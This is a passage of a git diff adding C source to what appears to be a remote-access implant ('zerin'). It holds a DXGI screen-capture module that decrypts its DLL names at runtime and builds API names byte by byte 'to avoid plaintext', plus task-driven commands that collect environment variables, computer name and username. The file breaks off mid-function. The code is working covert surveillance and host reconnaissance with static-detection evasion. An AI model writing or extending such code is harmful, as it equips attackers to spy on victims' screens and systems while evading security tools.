(STDMETHODCALLTYPE *GetParent)(void*, const GUID*, void**); + /* IDXGIOutput */ + HRESULT (STDMETHODCALLTYPE *GetDesc)(void*, DXGI_OUTPUT_DESC*); + HRESULT (STDMETHODCALLTYPE *GetDisplayModeList)(void*, UINT, UINT, UINT*, DXGI_MODE_DESC*); + HRESULT (STDMETHODCALLTYPE *FindClosestMatchingMode)(void*, const DXGI_MODE_DESC*, DXGI_MODE_DESC*, void*); + HRESULT (STDMETHODCALLTYPE *WaitForVBlank)(void*); + HRESULT (STDMETHODCALLTYPE *TakeOwnership)(void*, void*, BOOL); + void (STDMETHODCALLTYPE *ReleaseOwnership)(void*); + HRESULT (STDMETHODCALLTYPE *GetGammaControlCapabilities)(void*, void*); + HRESULT (STDMETHODCALLTYPE *SetGammaControl)(void*, void*); + HRESULT (STDMETHODCALLTYPE *GetGammaControl)(void*, void*); + HRESULT (STDMETHODCALLTYPE *SetDisplaySurface)(void*, void*); + HRESULT (STDMETHODCALLTYPE *GetDisplaySurfaceData)(void*, void*); + HRESULT (STDMETHODCALLTYPE *GetFrameStatistics)(void*, void*); +} IDXGIOutputVtbl; + +typedef struct { IDXGIOutputVtbl *lpVtbl; } IDXGIOutput; + +/* IDXGIOutput1 vtable (extends IDXGIOutput) */ +typedef struct { + /* IUnknown */ + HRESULT (STDMETHODCALLTYPE *QueryInterface)(void*, const GUID*, void**); + ULONG (STDMETHODCALLTYPE *AddRef)(void*); + ULONG (STDMETHODCALLTYPE *Release)(void*); + /* IDXGIObject */ + HRESULT (STDMETHODCALLTYPE *SetPrivateData)(void*, const GUID*, UINT, const void*); + HRESULT (STDMETHODCALLTYPE *SetPrivateDataInterface)(void*, const GUID*, void*); + HRESULT (STDMETHODCALLTYPE *GetPrivateData)(void*, const GUID*, UINT*, void*); + HRESULT (STDMETHODCALLTYPE *GetParent)(void*, const GUID*, void**); + /* IDXGIOutput */ + HRESULT (STDMETHODCALLTYPE *GetDesc)(void*, DXGI_OUTPUT_DESC*); + HRESULT (STDMETHODCALLTYPE *GetDisplayModeList)(void*, UINT, UINT, UINT*, DXGI_MODE_DESC*); + HRESULT (STDMETHODCALLTYPE *FindClosestMatchingMode)(void*, const DXGI_MODE_DESC*, DXGI_MODE_DESC*, void*); + HRESULT (STDMETHODCALLTYPE *WaitForVBlank)(void*); + HRESULT (STDMETHODCALLTYPE *TakeOwnership)(void*, void*, BOOL); + void (STDMETHODCALLTYPE *ReleaseOwnership)(void*); + HRESULT (STDMETHODCALLTYPE *GetGammaControlCapabilities)(void*, void*); + HRESULT (STDMETHODCALLTYPE *SetGammaControl)(void*, void*); + HRESULT (STDMETHODCALLTYPE *GetGammaControl)(void*, void*); + HRESULT (STDMETHODCALLTYPE *SetDisplaySurface)(void*, void*); + HRESULT (STDMETHODCALLTYPE *GetDisplaySurfaceData)(void*, void*); + HRESULT (STDMETHODCALLTYPE *GetFrameStatistics)(void*, void*); + /* IDXGIOutput1 */ + HRESULT (STDMETHODCALLTYPE *GetDisplayModeList1)(void*, UINT, UINT, UINT*, void*); + HRESULT (STDMETHODCALLTYPE *FindClosestMatchingMode1)(void*, void*, void*, void*); + HRESULT (STDMETHODCALLTYPE *GetDisplaySurfaceData1)(void*, void*); + HRESULT (STDMETHODCALLTYPE *DuplicateOutput)(void*, void*, IDXGIOutputDuplication**); +} IDXGIOutput1Vtbl; + +typedef struct { IDXGIOutput1Vtbl *lpVtbl; } IDXGIOutput1; + +/* IDXGIAdapter1 vtable */ +typedef struct { + /* IUnknown */ + HRESULT (STDMETHODCALLTYPE *QueryInterface)(void*, const GUID*, void**); + ULONG (STDMETHODCALLTYPE *AddRef)(void*); + ULONG (STDMETHODCALLTYPE *Release)(void*); + /* IDXGIObject */ + HRESULT (STDMETHODCALLTYPE *SetPrivateData)(void*, const GUID*, UINT, const void*); + HRESULT (STDMETHODCALLTYPE *SetPrivateDataInterface)(void*, const GUID*, void*); + HRESULT (STDMETHODCALLTYPE *GetPrivateData)(void*, const GUID*, UINT*, void*); + HRESULT (STDMETHODCALLTYPE *GetParent)(void*, const GUID*, void**); + /* IDXGIAdapter */ + HRESULT (STDMETHODCALLTYPE *EnumOutputs)(void*, UINT, IDXGIOutput**); + HRESULT (STDMETHODCALLTYPE *GetDesc)(void*, void*); + HRESULT (STDMETHODCALLTYPE *CheckInterfaceSupport)(void*, const GUID*, void*); + /* IDXGIAdapter1 */ + HRESULT (STDMETHODCALLTYPE *GetDesc1)(void*, void*); +} IDXGIAdapter1Vtbl; + +typedef struct { IDXGIAdapter1Vtbl *lpVtbl; } IDXGIAdapter1; + +/* IDXGIFactory1 vtable */ +typedef struct { + /* IUnknown */ + HRESULT (STDMETHODCALLTYPE *QueryInterface)(void*, const GUID*, void**); + ULONG (STDMETHODCALLTYPE *AddRef)(void*); + ULONG (STDMETHODCALLTYPE *Release)(void*); + /* IDXGIObject */ + HRESULT (STDMETHODCALLTYPE *SetPrivateData)(void*, const GUID*, UINT, const void*); + HRESULT (STDMETHODCALLTYPE *SetPrivateDataInterface)(void*, const GUID*, void*); + HRESULT (STDMETHODCALLTYPE *GetPrivateData)(void*, const GUID*, UINT*, void*); + HRESULT (STDMETHODCALLTYPE *GetParent)(void*, const GUID*, void**); + /* IDXGIFactory */ + HRESULT (STDMETHODCALLTYPE *EnumAdapters)(void*, UINT, void**); + HRESULT (STDMETHODCALLTYPE *MakeWindowAssociation)(void*, HWND, UINT); + HRESULT (STDMETHODCALLTYPE *GetWindowAssociation)(void*, HWND*); + HRESULT (STDMETHODCALLTYPE *CreateSwapChain)(void*, void*, void*, void**); + HRESULT (STDMETHODCALLTYPE *CreateSoftwareAdapter)(void*, HMODULE, void**); + /* IDXGIFactory1 */ + HRESULT (STDMETHODCALLTYPE *EnumAdapters1)(void*, UINT, IDXGIAdapter1**); + BOOL (STDMETHODCALLTYPE *IsCurrent)(void*); +} IDXGIFactory1Vtbl; + +typedef struct { IDXGIFactory1Vtbl *lpVtbl; } IDXGIFactory1; + +/* ID3D11Device vtable (minimal — only Release + CreateTexture2D) */ +typedef struct { + /* IUnknown */ + HRESULT (STDMETHODCALLTYPE *QueryInterface)(void*, const GUID*, void**); + ULONG (STDMETHODCALLTYPE *AddRef)(void*); + ULONG (STDMETHODCALLTYPE *Release)(void*); + /* ID3D11Device — first method is CreateBuffer at index 3 */ + HRESULT (STDMETHODCALLTYPE *CreateBuffer)(void*, void*, void*, void**); + HRESULT (STDMETHODCALLTYPE *CreateTexture1D)(void*, void*, void*, void**); + HRESULT (STDMETHODCALLTYPE *CreateTexture2D)(void*, const D3D11_TEXTURE2D_DESC*, const void*, void**); + /* ... remaining methods not needed */ +} ID3D11DeviceVtbl; + +typedef struct { ID3D11DeviceVtbl *lpVtbl; } ID3D11Device; + +/* ID3D11DeviceContext vtable (minimal — Map, Unmap, CopyResource) */ +typedef struct { + /* IUnknown (0-2) */ + HRESULT (STDMETHODCALLTYPE *QueryInterface)(void*, const GUID*, void**); + ULONG (STDMETHODCALLTYPE *AddRef)(void*); + ULONG (STDMETHODCALLTYPE *Release)(void*); + /* ID3D11DeviceChild (3-6) */ + void (STDMETHODCALLTYPE *GetDevice)(void*, void**); + HRESULT (STDMETHODCALLTYPE *GetPrivateData)(void*, const GUID*, UINT*, void*); + HRESULT (STDMETHODCALLTYPE *SetPrivateData)(void*, const GUID*, UINT, const void*); + HRESULT (STDMETHODCALLTYPE *SetPrivateDataInterface)(void*, const GUID*, void*); + /* ID3D11DeviceContext — indices 7..46 are various Set/Get/Draw methods. + We only need CopyResource (index 47) and Map/Unmap (indices 14, 15). + Pad with void* stubs for the indices we skip. */ + void *_pad7; /* VSSetConstantBuffers */ + void *_pad8; /* PSSetShaderResources */ + void *_pad9; /* PSSetShader */ + void *_pad10; /* PSSetSamplers */ + void *_pad11; /* VSSetShader */ + void *_pad12; /* DrawIndexed */ + void *_pad13; /* Draw */ + HRESULT (STDMETHODCALLTYPE *Map)(void*, void*, UINT, UINT, UINT, D3D11_MAPPED_SUBRESOURCE*); + void (STDMETHODCALLTYPE *Unmap)(void*, void*, UINT); + void *_pad16; /* PSSetConstantBuffers */ + void *_pad17; /* IASetInputLayout */ + void *_pad18; /* IASetVertexBuffers */ + void *_pad19; /* IASetIndexBuffer */ + void *_pad20; /* DrawIndexedInstanced */ + void *_pad21; /* DrawInstanced */ + void *_pad22; /* GSSetConstantBuffers */ + void *_pad23; /* GSSetShader */ + void *_pad24; /* IASetPrimitiveTopology */ + void *_pad25; /* VSSetShaderResources */ + void *_pad26; /* VSSetSamplers */ + void *_pad27; /* Begin */ + void *_pad28; /* End */ + void *_pad29; /* GetData */ + void *_pad30; /* SetPredication */ + void *_pad31; /* GSSetShaderResources */ + void *_pad32; /* GSSetSamplers */ + void *_pad33; /* OMSetRenderTargets */ + void *_pad34; /* OMSetRenderTargetsAndUnorderedAccessViews */ + void *_pad35; /* OMSetBlendState */ + void *_pad36; /* OMSetDepthStencilState */ + void *_pad37; /* SOSetTargets */ + void *_pad38; /* DrawAuto */ + void *_pad39; /* DrawIndexedInstancedIndirect */ + void *_pad40; /* DrawInstancedIndirect */ + void *_pad41; /* Dispatch */ + void *_pad42; /* DispatchIndirect */ + void *_pad43; /* RSSetState */ + void *_pad44; /* RSSetViewports */ + void *_pad45; /* RSSetScissorRects */ + void (STDMETHODCALLTYPE *CopySubresourceRegion)(void*, void*, UINT, UINT, UINT, UINT, void*, UINT, void*); + void (STDMETHODCALLTYPE *CopyResource)(void*, void*, void*); +} ID3D11DeviceContextVtbl; + +typedef struct { ID3D11DeviceContextVtbl *lpVtbl; } ID3D11DeviceContext; + +/* ID3D11Texture2D vtable (minimal — just IUnknown + GetDesc) */ +typedef struct { + HRESULT (STDMETHODCALLTYPE *QueryInterface)(void*, const GUID*, void**); + ULONG (STDMETHODCALLTYPE *AddRef)(void*); + ULONG (STDMETHODCALLTYPE *Release)(void*); + /* ID3D11DeviceChild */ + void (STDMETHODCALLTYPE *GetDevice)(void*, void**); + HRESULT (STDMETHODCALLTYPE *GetPrivateData)(void*, const GUID*, UINT*, void*); + HRESULT (STDMETHODCALLTYPE *SetPrivateData)(void*, const GUID*, UINT, const void*); + HRESULT (STDMETHODCALLTYPE *SetPrivateDataInterface)(void*, const GUID*, void*); + /* ID3D11Resource */ + void (STDMETHODCALLTYPE *GetType)(void*, UINT*); + void (STDMETHODCALLTYPE *SetEvictionPriority)(void*, UINT); + UINT (STDMETHODCALLTYPE *GetEvictionPriority)(void*); + /* ID3D11Texture2D */ + void (STDMETHODCALLTYPE *GetDesc)(void*, D3D11_TEXTURE2D_DESC*); +} ID3D11Texture2DVtbl; + +typedef struct { ID3D11Texture2DVtbl *lpVtbl; } ID3D11Texture2D; + +/* ── DXGI_FORMAT constants ────────────────────────────────────────── */ + +#define DXGI_FORMAT_B8G8R8A8_UNORM 87 +#define DXGI_FORMAT_R8G8B8A8_UNORM 28 + +/* D3D11 constants */ +#define D3D11_USAGE_STAGING 3 +#define D3D11_CPU_ACCESS_READ 0x20000 +#define D3D11_MAP_READ 1 + +/* DXGI error codes */ +#define DXGI_ERROR_WAIT_TIMEOUT ((HRESULT)0x887A0027L) +#define DXGI_ERROR_ACCESS_LOST ((HRESULT)0x887A0026L) +#define DXGI_ERROR_DEVICE_REMOVED ((HRESULT)0x887A0005L) +#define DXGI_ERROR_DEVICE_RESET ((HRESULT)0x887A0007L) + +/* D3D_DRIVER_TYPE */ +#define D3D_DRIVER_TYPE_UNKNOWN 0 +#define D3D_DRIVER_TYPE_HARDWARE 1 + +/* D3D_FEATURE_LEVEL */ +#define D3D_FEATURE_LEVEL_11_0 0xb000 + +/* ── Function pointer types for dynamic loading ──────────────────── */ + +typedef HRESULT (WINAPI *PFN_CreateDXGIFactory1)(const GUID*, void**); +typedef HRESULT (WINAPI *PFN_D3D11CreateDevice)( + void* pAdapter, UINT DriverType, HMODULE Software, UINT Flags, + const UINT* pFeatureLevels, UINT FeatureLevels, UINT SDKVersion, + ID3D11Device** ppDevice, UINT* pFeatureLevel, ID3D11DeviceContext** ppImmediateContext); + +/* ── Context structure ────────────────────────────────────────────── */ + +struct dxgi_ctx { + HMODULE d3d11_dll; + HMODULE dxgi_dll; + ID3D11Device *device; + ID3D11DeviceContext *context; + IDXGIOutputDuplication *duplication; + ID3D11Texture2D *staging; + int width; + int height; + UINT format; /* DXGI_FORMAT of the desktop */ + /* RGB pixel buffer (width * height * 3) */ + uint8_t *rgb_pixels; + size_t rgb_cap; + /* Dirty rects buffer */ + RECT *dirty_rects; + int dirty_rects_cap; + int logged_init; + int staging_mapped; /* nonzero if staging is mapped (for release) */ +}; + +/* ── Logging ───────────────────────────────────────────────────────── */ + +#ifdef _DEBUG +static void dxgi_log(const char *fmt, ...) { + char buf[512]; + va_list args; + va_start(args, fmt); + vsnprintf(buf, sizeof(buf), fmt, args); + va_end(args); + OutputDebugStringA(buf); + printf("%s", buf); + fflush(stdout); +} +#define DXGI_LOG(...) dxgi_log(__VA_ARGS__) +#else +#define DXGI_LOG(...) ((void)0) +#endif + +/* ── Initialization ───────────────────────────────────────────────── */ + +dxgi_ctx_t *dxgi_init(void) { + dxgi_ctx_t *ctx = (dxgi_ctx_t *)calloc(1, sizeof(dxgi_ctx_t)); + if (!ctx) return NULL; + + /* Dynamic load */ + { + char dxgi_name[16], d3d11_name[16]; + obf_decrypt_to(OBF_DXGI_DLL, dxgi_name, sizeof(dxgi_name)); + obf_decrypt_to(OBF_D3D11_DLL, d3d11_name, sizeof(d3d11_name)); + ctx->dxgi_dll = LoadLibraryA(dxgi_name); + ctx->d3d11_dll = LoadLibraryA(d3d11_name); + obf_wipe(dxgi_name, sizeof(dxgi_name)); + obf_wipe(d3d11_name, sizeof(d3d11_name)); + } + if (!ctx->dxgi_dll || !ctx->d3d11_dll) { + DXGI_LOG("[DXGI] Failed to load DLLs\n"); + goto fail; + } + + /* Build API name at runtime to avoid plaintext */ + char _cdxgi[20]; + memcpy(_cdxgi, "Create", 6); + _cdxgi[6]='D'; _cdxgi[7]='X'; _cdxgi[8]='G'; _cdxgi[9]='I'; + memcpy(_cdxgi+10, "Factory1", 9); + PFN_CreateDXGIFactory1 pfnCreateFactory = + (PFN_CreateDXGIFactory1)GetProcAddress(ctx->dxgi_dll, _cdxgi); + SecureZeroMemory(_cdxgi, sizeof(_cdxgi)); + PFN_D3D11CreateDevice pfnCreateDevice = + (PFN_D3D11CreateDevice)GetProcAddress(ctx->d3d11_dll, "D3D11CreateDevice"); + + if (!pfnCreateFactory || !pfnCreateDevice) { + DXGI_LOG("[DXGI] Failed to get proc addresses\n"); + goto fail; + } + + /* Create DXGI Factory */ + IDXGIFactory1 *factory = NULL; + HRESULT hr = pfnCreateFactory(&IID_IDXGIFactory1_local, (void **)&factory); + if (FAILED(hr)) { + DXGI_LOG("[DXGI] CreateDXGIFactory1 failed: 0x%08lx\n", hr); + goto fail; + } + + /* Enumerate adapters, find first with an output */ + IDXGIAdapter1 *adapter = NULL; + IDXGIOutput *output = NULL; + for (UINT ai = 0; factory->lpVtbl->EnumAdapters1(factory, ai, &adapter) == S_OK; ai++) { + hr = adapter->lpVtbl->EnumOutputs(adapter, 0, &output); + if (hr == S_OK && output) break; + adapter->lpVtbl->Release(adapter); + adapter = NULL; + } + + if (!adapter || !output) { + DXGI_LOG("[DXGI] No adapter with output found\n"); + factory->lpVtbl->Release(factory); + goto fail; + } + + /* Get output desc for dimensions */ + DXGI_OUTPUT_DESC out_desc; + output->lpVtbl->GetDesc(output, &out_desc); + ctx->width = out_desc.DesktopCoordinates.right - out_desc.DesktopCoordinates.left; + ctx->height = out_desc.DesktopCoordinates.bottom - out_desc.DesktopCoordinates.top; + + /* Create D3D11 device */ + UINT feature_level = D3D_FEATURE_LEVEL_11_0; + UINT out_feature_level = 0; + hr = pfnCreateDevice( + (void *)adapter, + D3D_DRIVER_TYPE_UNKNOWN, /* Must use UNKNOWN when specifying adapter */ + NULL, + 0, /* Flags */ + &feature_level, 1, + 7, /* D3D11_SDK_VERSION */ + &ctx->device, + &out_feature_level, + &ctx->context + ); + + if (FAILED(hr)) { + DXGI_LOG("[DXGI] D3D11CreateDevice failed: 0x%08lx\n", hr); + output->lpVtbl->Release(output); + adapter->lpVtbl->Release(adapter); + factory->lpVtbl->Release(factory); + goto fail; + } + + /* QI for IDXGIOutput1 */ + IDXGIOutput1 *output1 = NULL; + hr = output->lpVtbl->QueryInterface(output, &IID_IDXGIOutput1_local, (void **)&output1); + output->lpVtbl->Release(output); + adapter->lpVtbl->Release(adapter); + factory->lpVtbl->Release(factory); + + if (FAILED(hr) || !output1) { + DXGI_LOG("[DXGI] QueryInterface for IDXGIOutput1 failed: 0x%08lx\n", hr); + goto fail; + } + + /* Duplicate output */ + hr = output1->lpVtbl->DuplicateOutput(output1, (void *)ctx->device, &ctx->duplication); + output1->lpVtbl->Release(output1); + + if (FAILED(hr)) { + DXGI_LOG("[DXGI] DuplicateOutput failed: 0x%08lx\n", hr); + goto fail; + } + + /* Get duplication desc to confirm format */ + DXGI_OUTDUPL_DESC dup_desc; + ctx->duplication->lpVtbl->GetDesc(ctx->duplication, &dup_desc); + ctx->format = dup_desc.ModeDesc.Format; + ctx->width = dup_desc.ModeDesc.Width; + ctx->height = dup_desc.ModeDesc.Height; + + /* Create staging texture for CPU readback */ + D3D11_TEXTURE2D_DESC tex_desc; + memset(&tex_desc, 0, sizeof(tex_desc)); + tex_desc.Width = ctx->width; + tex_desc.Height = ctx->height; + tex_desc.MipLevels = 1; + tex_desc.ArraySize = 1; + tex_desc.Format = ctx->format; + tex_desc.SampleDesc.Count = 1; + tex_desc.SampleDesc.Quality = 0; + tex_desc.Usage = D3D11_USAGE_STAGING; + tex_desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ; + + hr = ctx->device->lpVtbl->CreateTexture2D(ctx->device, &tex_desc, NULL, (void **)&ctx->staging); + if (FAILED(hr)) { + DXGI_LOG("[DXGI] CreateTexture2D (staging) failed: 0x%08lx\n", hr); + goto fail; + } + + /* Allocate RGB pixel buffer */ + ctx->rgb_cap = (size_t)ctx->width * ctx->height * 3; + ctx->rgb_pixels = (uint8_t *)malloc(ctx->rgb_cap); + if (!ctx->rgb_pixels) goto fail; + + /* Allocate dirty rects buffer */ + ctx->dirty_rects_cap = 64; + ctx->dirty_rects = (RECT *)malloc(sizeof(RECT) * ctx->dirty_rects_cap); + if (!ctx->dirty_rects) goto fail; + + DXGI_LOG("[DXGI] Initialized: %dx%d format=%u\n", ctx->width, ctx->height, ctx->format); + return ctx; + +fail: + dxgi_cleanup(ctx); + return NULL; +} + +/* ── Capture ──────────────────────────────────────────────────────── */ + +int dxgi_capture(dxgi_ctx_t *ctx, uint8_t **pixels, int *width, int *height, + RECT **dirty_rects, int *num_dirty) { + if (!ctx || !ctx->duplication) return -1; + + DXGI_OUTDUPL_FRAME_INFO frame_info; + void *desktop_resource = NULL; + + HRESULT hr = ctx->duplication->lpVtbl->AcquireNextFrame( + ctx->duplication, 50, &frame_info, &desktop_resource); + + if (hr == DXGI_ERROR_WAIT_TIMEOUT) { + /* No new frame — screen unchanged */ + return 1; + } + + if (hr == DXGI_ERROR_ACCESS_LOST || + hr == DXGI_ERROR_DEVICE_REMOVED || + hr == DXGI_ERROR_DEVICE_RESET) { + DXGI_LOG("[DXGI] ACCESS_LOST/DEVICE_REMOVED: 0x%08lx\n", hr); + return -1; + } + + if (FAILED(hr)) { + DXGI_LOG("[DXGI] AcquireNextFrame failed: 0x%08lx\n", hr); + return -1; + } + + /* Get dirty rects */ + int got_dirty = 0; + if (frame_info.TotalMetadataBufferSize > 0) { + UINT dirty_size = ctx->dirty_rects_cap * sizeof(RECT); + hr = ctx->duplication->lpVtbl->GetFrameDirtyRects( + ctx->duplication, dirty_size, ctx->dirty_rects, &dirty_size); + + if (hr == HRESULT_FROM_WIN32(ERROR_MORE_DATA)) { + /* Need bigger buffer */ + int new_cap = (int)(dirty_size / sizeof(RECT)) + 1; + RECT *new_buf = (RECT *)realloc(ctx->dirty_rects, sizeof(RECT) * new_cap); + if (new_buf) { + ctx->dirty_rects = new_buf; + ctx->dirty_rects_cap = new_cap; + dirty_size = new_cap * sizeof(RECT); + hr = ctx->duplication->lpVtbl->GetFrameDirtyRects( + ctx->duplication, dirty_size, ctx->dirty_rects, &dirty_size); + } + } + + if (SUCCEEDED(hr)) { + *num_dirty = (int)(dirty_size / sizeof(RECT)); + *dirty_rects = ctx->dirty_rects; + got_dirty = 1; + } + } + + if (!got_dirty) { + /* No metadata or failed — mark entire screen dirty */ + ctx->dirty_rects[0].left = 0; + ctx->dirty_rects[0].top = 0; + ctx->dirty_rects[0].right = ctx->width; + ctx->dirty_rects[0].bottom = ctx->height; + *num_dirty = 1; + *dirty_rects = ctx->dirty_rects; + } + + /* QI desktop resource for ID3D11Texture2D */ + ID3D11Texture2D *desktop_tex = NULL; + hr = ((IUnknownVtbl *)*(void **)desktop_resource)->QueryInterface( + desktop_resource, &IID_ID3D11Texture2D_local, (void **)&desktop_tex); + + if (FAILED(hr) || !desktop_tex) { + DXGI_LOG("[DXGI] QI for ID3D11Texture2D failed: 0x%08lx\n", hr); + ((IUnknownVtbl *)*(void **)desktop_resource)->Release(desktop_resource); + ctx->duplication->lpVtbl->ReleaseFrame(ctx->duplication); + return -1; + } + + /* Copy to staging texture */ + ctx->context->lpVtbl->CopyResource(ctx->context, (void *)ctx->staging, (void *)desktop_tex); + desktop_tex->lpVtbl->Release(desktop_tex); + ((IUnknownVtbl *)*(void **)desktop_resource)->Release(desktop_resource); + + /* Map staging texture for CPU read */ + D3D11_MAPPED_SUBRESOURCE mapped; + hr = ctx->context->lpVtbl->Map(ctx->context, (void *)ctx->staging, 0, D3D11_MAP_READ, 0, &mapped); + if (FAILED(hr)) { + DXGI_LOG("[DXGI] Map failed: 0x%08lx\n", hr); + ctx->duplication->lpVtbl->ReleaseFrame(ctx->duplication); + return -1; + } + + /* Convert BGRA -> RGB (tightly packed) */ + int w = ctx->width; + int h = ctx->height; + size_t needed = (size_t)w * h * 3; + if (ctx->rgb_cap < needed) { + uint8_t *new_buf = (uint8_t *)realloc(ctx->rgb_pixels, needed); + if (!new_buf) { + ctx->context->lpVtbl->Unmap(ctx->context, (void *)ctx->staging, 0); + ctx->duplication->lpVtbl->ReleaseFrame(ctx->duplication); + return -1; + } + ctx->rgb_pixels = new_buf; + ctx->rgb_cap = needed; + } + + const uint8_t *src = (const uint8_t *)mapped.pData; + uint8_t *dst = ctx->rgb_pixels; + for (int y = 0; y < h; y++) { + const uint8_t *srow = src + y * mapped.RowPitch; + uint8_t *drow = dst + y * w * 3; + for (int x = 0; x < w; x++) { + drow[x * 3] = srow[x * 4 + 2]; /* R (from BGRA) */ + drow[x * 3 + 1] = srow[x * 4 + 1]; /* G */ + drow[x * 3 + 2] = srow[x * 4]; /* B */ + } + } + + ctx->context->lpVtbl->Unmap(ctx->context, (void *)ctx->staging, 0); + + /* Don't release frame here — caller must call dxgi_release_frame() */ + *pixels = ctx->rgb_pixels; + *width = w; + *height = h; + + return 0; +} + +/* ── Mapped capture (zero-copy: returns raw BGRA, no RGB conversion) ─ */ + +int dxgi_capture_mapped(dxgi_ctx_t *ctx, const uint8_t **bgra_data, + int *row_pitch, int *width, int *height, + RECT **dirty_rects, int *num_dirty) { + if (!ctx || !ctx->duplication) return -1; + + DXGI_OUTDUPL_FRAME_INFO frame_info; + void *desktop_resource = NULL; + + HRESULT hr = ctx->duplication->lpVtbl->AcquireNextFrame( + ctx->duplication, 50, &frame_info, &desktop_resource); + + if (hr == DXGI_ERROR_WAIT_TIMEOUT) return 1; + + if (hr == DXGI_ERROR_ACCESS_LOST || + hr == DXGI_ERROR_DEVICE_REMOVED || + hr == DXGI_ERROR_DEVICE_RESET) { + DXGI_LOG("[DXGI] ACCESS_LOST/DEVICE_REMOVED: 0x%08lx\n", hr); + return -1; + } + + if (FAILED(hr)) { + DXGI_LOG("[DXGI] AcquireNextFrame failed: 0x%08lx\n", hr); + return -1; + } + + /* Get dirty rects */ + int got_dirty = 0; + if (frame_info.TotalMetadataBufferSize > 0) { + UINT dirty_size = ctx->dirty_rects_cap * sizeof(RECT); + hr = ctx->duplication->lpVtbl->GetFrameDirtyRects( + ctx->duplication, dirty_size, ctx->dirty_rects, &dirty_size); + + if (hr == HRESULT_FROM_WIN32(ERROR_MORE_DATA)) { + int new_cap = (int)(dirty_size / sizeof(RECT)) + 1; + RECT *new_buf = (RECT *)realloc(ctx->dirty_rects, sizeof(RECT) * new_cap); + if (new_buf) { + ctx->dirty_rects = new_buf; + ctx->dirty_rects_cap = new_cap; + dirty_size = new_cap * sizeof(RECT); + hr = ctx->duplication->lpVtbl->GetFrameDirtyRects( + ctx->duplication, dirty_size, ctx->dirty_rects, &dirty_size); + } + } + + if (SUCCEEDED(hr)) { + *num_dirty = (int)(dirty_size / sizeof(RECT)); + *dirty_rects = ctx->dirty_rects; + got_dirty = 1; + } + } + + if (!got_dirty) { + ctx->dirty_rects[0].left = 0; + ctx->dirty_rects[0].top = 0; + ctx->dirty_rects[0].right = ctx->width; + ctx->dirty_rects[0].bottom = ctx->height; + *num_dirty = 1; + *dirty_rects = ctx->dirty_rects; + } + + /* QI desktop resource for ID3D11Texture2D */ + ID3D11Texture2D *desktop_tex = NULL; + hr = ((IUnknownVtbl *)*(void **)desktop_resource)->QueryInterface( + desktop_resource, &IID_ID3D11Texture2D_local, (void **)&desktop_tex); + + if (FAILED(hr) || !desktop_tex) { + DXGI_LOG("[DXGI] QI for ID3D11Texture2D failed: 0x%08lx\n", hr); + ((IUnknownVtbl *)*(void **)desktop_resource)->Release(desktop_resource); + ctx->duplication->lpVtbl->ReleaseFrame(ctx->duplication); + return -1; + } + + /* Copy to staging texture */ + ctx->context->lpVtbl->CopyResource(ctx->context, (void *)ctx->staging, (void *)desktop_tex); + desktop_tex->lpVtbl->Release(desktop_tex); + ((IUnknownVtbl *)*(void **)desktop_resource)->Release(desktop_resource); + + /* Map staging texture for CPU read — return BGRA pointer directly */ + D3D11_MAPPED_SUBRESOURCE mapped; + hr = ctx->context->lpVtbl->Map(ctx->context, (void *)ctx->staging, 0, D3D11_MAP_READ, 0, &mapped); + if (FAILED(hr)) { + DXGI_LOG("[DXGI] Map failed: 0x%08lx\n", hr); + ctx->duplication->lpVtbl->ReleaseFrame(ctx->duplication); + return -1; + } + + *bgra_data = (const uint8_t *)mapped.pData; + *row_pitch = (int)mapped.RowPitch; + *width = ctx->width; + *height = ctx->height; + ctx->staging_mapped = 1; + + /* NOTE: caller must call dxgi_release_frame() which will Unmap + ReleaseFrame */ + return 0; +} + +/* ── Release frame ────────────────────────────────────────────────── */ + +void dxgi_release_frame(dxgi_ctx_t *ctx) { + if (ctx && ctx->duplication) { + if (ctx->staging_mapped) { + ctx->context->lpVtbl->Unmap(ctx->context, (void *)ctx->staging, 0); + ctx->staging_mapped = 0; + } + ctx->duplication->lpVtbl->ReleaseFrame(ctx->duplication); + } +} + +/* ── Cleanup ──────────────────────────────────────────────────────── */ + +void dxgi_cleanup(dxgi_ctx_t *ctx) { + if (!ctx) return; + + /* Unmap staging texture if still mapped (e.g. cleanup during error recovery) */ + if (ctx->staging_mapped && ctx->context && ctx->staging) { + ctx->context->lpVtbl->Unmap(ctx->context, (void *)ctx->staging, 0); + ctx->staging_mapped = 0; + } + + if (ctx->staging) ctx->staging->lpVtbl->Release(ctx->staging); + if (ctx->duplication) ctx->duplication->lpVtbl->Release(ctx->duplication); + if (ctx->context) ctx->context->lpVtbl->Release(ctx->context); + if (ctx->device) ctx->device->lpVtbl->Release(ctx->device); + + free(ctx->rgb_pixels); + free(ctx->dirty_rects); + + if (ctx->d3d11_dll) FreeLibrary(ctx->d3d11_dll); + if (ctx->dxgi_dll) FreeLibrary(ctx->dxgi_dll); + + free(ctx); +} + +#endif /* _WIN32 */ diff --git a/src/commands/environment.c b/src/commands/environment.c new file mode 100755 index 0000000..52764d3 --- /dev/null +++ b/src/commands/environment.c @@ -0,0 +1,169 @@ +#include "zerin.h" +#include +#include +#include + +#ifdef _WIN32 + +int cmd_env(const task_t *task, task_result_t *result, char *cwd) { + char *env_block = NULL; + char *p; + size_t cap = 8192; + size_t len = 0; + char *output = NULL; + + (void)cwd; + + env_block = GetEnvironmentStringsA(); + if (!env_block) { + result->success = false; + result->error_message = _strdup("Failed to get environment strings"); + return -1; + } + + output = (char *)malloc(cap); + if (!output) { + FreeEnvironmentStringsA(env_block); + return -1; + } + + // Filter by prefix if arg provided + const char *filter = NULL; + if (task->num_args >= 1 && task->args[0]) + filter = task->args[0]; + + for (p = env_block; *p != '\0'; p += strlen(p) + 1) { + if (filter) { + size_t flen = strlen(filter); + if (_strnicmp(p, filter, flen) != 0) + continue; + } + + size_t entry_len = strlen(p); + if (len + entry_len + 4 >= cap) { + cap *= 2; + char *new_out = (char *)realloc(output, cap); + if (!new_out) break; + output = new_out; + } + + len += snprintf(output + len, cap - len, "%s\n", p); + } + + FreeEnvironmentStringsA(env_block); + output[len] = '\0'; + result->success = true; + result->output = output; + return 0; +} + +int cmd_sysinfo(const task_t *task, task_result_t *result, char *cwd) { + size_t cap = 4096; + size_t len = 0; + char *output = NULL; + char buf[256]; + DWORD buf_size; + SYSTEM_INFO si; + MEMORYSTATUSEX mem; + + (void)task; (void)cwd; + + output = (char *)malloc(cap); + if (!output) return -1; + + // Computer name + buf_size = sizeof(buf); + if (GetComputerNameA(buf, &buf_size)) + len += snprintf(output + len, cap - len, "Computer: %s\n", buf); + + // Username + buf_size = sizeof(buf); + if (GetUserNameA(buf, &buf_size)) + len += snprintf(output + len, cap - len, "User: %s\n", buf); + + // OS version 